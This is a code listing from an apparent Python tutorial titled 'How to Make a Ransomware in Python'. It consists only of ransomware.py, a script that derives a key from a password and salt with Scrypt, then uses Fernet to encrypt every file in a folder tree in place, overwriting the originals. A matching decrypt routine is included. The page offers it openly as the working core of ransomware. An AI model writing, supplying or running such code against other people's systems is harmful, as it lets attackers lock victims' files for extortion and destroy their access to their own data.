Code for How to Make a Ransomware in Python Tutorial


View on Github

ransomware.py

import pathlib import secrets import os import base64 import getpass import cryptography from cryptography.fernet import Fernet from cryptography.hazmat.primitives.kdf.scrypt import Scrypt def generate_salt(size=16): """Generate the salt used for key derivation, `size` is the length of the salt to generate""" return secrets.token_bytes(size) def derive_key(salt, password): """Derive the key from the `password` using the passed `salt`""" kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1) return kdf.derive(password.encode()) def load_salt(): # load salt from salt.salt file return open("salt.salt", "rb").read() def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True): """Generates a key from a `password` and the salt. If `load_existing_salt` is True, it'll load the salt from a file in the current directory called "salt.salt". If `save_salt` is True, then it will generate a new salt and save it to "salt.salt" """ if load_existing_salt: # load existing salt salt = load_salt() elif save_salt: # generate new salt and save it salt = generate_salt(salt_size) with open("salt.salt", "wb") as salt_file: salt_file.write(salt) # generate the key from the salt and the password derived_key = derive_key(salt, password) # encode it using Base 64 and return it return base64.urlsafe_b64encode(derived_key) def encrypt(filename, key): """Given a filename (str) and key (bytes), it encrypts the file and write it""" f = Fernet(key) with open(filename, "rb") as file: # read all file data file_data = file.read() # encrypt data encrypted_data = f.encrypt(file_data) # write the encrypted file with open(filename, "wb") as file: file.write(encrypted_data) def encrypt_folder(foldername, key): # if it's a folder, encrypt the entire folder (i.e all the containing files) for child in pathlib.Path(foldername).glob("*"): if child.is_file(): print(f"[*] Encrypting {child}") # encrypt the file encrypt(child, key) elif child.is_dir(): # if it's a folder, encrypt the entire folder by calling this function recursively encrypt_folder(child, key) def decrypt(filename, key): """Given a filename (str) and key (bytes), it decrypts the file and write it""" f = Fernet(key) with open(filename, "rb") as file: # read the encrypted data encrypted_data = file.read() # decrypt data try: decrypted_data = f.decrypt(encrypted_data) except cryptography.fernet.InvalidToken: print("[!] Invalid token, most likely the password is incorrect") return # write the original file with open(filename, "wb") as file: file.write(decrypted_data) def decrypt_folder(foldername, key): # if it's a folder, decrypt the entire folder for child in pathlib.Path(foldername).glob("*"): if child.is_file(): print(f"[*] Decrypting {child}") # decrypt the file decrypt(child, key) elif child.is_dir(): # if it's a folder, decrypt the entire folder by calling this function recursively decrypt_folder(child, key) if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="File Encryptor Script with a Password") parser.add_argument("path", help="Path to encrypt/decrypt, can be a file or an entire folder") parser.add_argument("-s", "--salt-size", help="If this is set, a new salt with the passed size is generated", type=int) parser.add_argument("-e", "--encrypt", action="store_true", help="Whether to encrypt the file/folder, only -e or -d can be specified.") parser.add_argument("-d", "--decrypt", action="store_true", help="Whether to decrypt the file/folder, only -e or -d can be specified.") # parse the arguments args = parser.parse_args() # get the password if args.encrypt: password = getpass.getpass("Enter the password for encryption: ") elif args.decrypt: password = getpass.getpass("Enter the password you used for encryption: ") # generate the key if args.salt_size: key = generate_key(password, salt_size=args.salt_size, save_salt=True) else: key = generate_key(password, load_existing_salt=True) # get the encrypt and decrypt flags encrypt_ = args.encrypt decrypt_ = args.decrypt # check if both encrypt and decrypt are specified if encrypt_ and decrypt_: raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") elif encrypt_: if os.path.isfile(args.path): # if it is a file, encrypt it encrypt(args.path, key) elif os.path.isdir(args.path): encrypt_folder(args.path, key) elif decrypt_: if os.path.isfile(args.path): decrypt(args.path, key) elif os.path.isdir(args.path): decrypt_folder(args.path, key) else: raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")